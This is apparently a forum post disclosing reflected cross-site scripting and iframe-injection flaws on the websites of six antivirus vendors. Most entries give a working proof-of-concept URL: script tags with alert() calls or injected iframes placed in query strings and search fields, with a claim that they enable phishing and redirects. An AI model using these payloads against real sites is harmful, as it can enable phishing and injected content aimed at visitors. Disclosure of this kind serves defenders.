Vulnerabilities in Websites of 6 Antivirus Vendors enable Phishing Attacks

Symantec vs Kaspersky vs Eset-(Nod32) vs AVG vs F-secure vs Trendmicro

hehe... I know, someone is bored. We have found several bugs in the past few months, always on the same websites.

So now still vulnerable and people still under threat? no doubt !

Symantec.com - XSS IE only

Code:

https://www.symantec.com/connect/endpoint-management-virtualization/forums}"><script>alert(String.fromCharCode(88,83,83))</script>?sym="><script>alert(String.fromCharCode(88,83,83))</script>

Altris.com - XSS and Iframe Injection on search module

why altris? look at this

Code:

https://kb.altiris.com/display/1n/index.asp?c=&cpc=&cid=&cat=&catURL=&r=0.94508

:)proof on concept
Search string

Code:

"<iframe src=http://kaspersky.com'><BR><BR><IFRAME width='100%' height='600px' src='http://kaspersky.com/200'>

WARNING: This is a proof of concept that proves an XSS bug in altiris.com website.

What about this ?

Kaspersky - XSS & Iframe Injection

Code:

https://support.kaspersky.com/en/PersonalCabinet3/Registration/Form/?"><script>alert(12157312.477)</script>

Code:

http://support.kaspersky.ru/virlab/helpdesk.html?'"></title><script>alert(1337)</script>><marquee><h1>XSS</h1></marquee>

Code:

http://support.kaspersky.ru/virlab/helpdesk.html?'"><iframe src=http://support.kaspersky.ru

Works fine also Redirect to other website

Linkscanner.avg.com - Critical XSS

Eset.co.il - Iframe Injection

Code:

http://www.eset.co.il/home/doc.aspx?mCatID=9904&rgid=151&strSearch="<iframe src=http://symantec.com><BR><BR><IFRAME width='100%' height='600px' src='http://symantec.com/200'>

F-secure.com - XSS & Iframe Injection by Vektor

Vulnerable Page

Code:

http://www.f-secure.com/en_EMEA/about-us/contact-us/feedback/

WARNING: This is a proof of concept that proves an XSS bug in f-secure website.

Trendmicro.com - XSS & Iframe Injection

Vulnerable page:

Code:

http://trendmicro.mediaroom.com/index.php?s="><script>alert(String.fromCharCode(88,83,83))</script>

xss and Iframe injection on search module
Warning ! This is only a Proof of Concept So We Will Not Be Responsible for Any Damage

Update

Submitted by [-TE-]-Methodman

No Comments

Vulnerabilities in Websites of 6 Antivirus Vendors enable Phishing Attacks

You need to be logged in to be able to post comments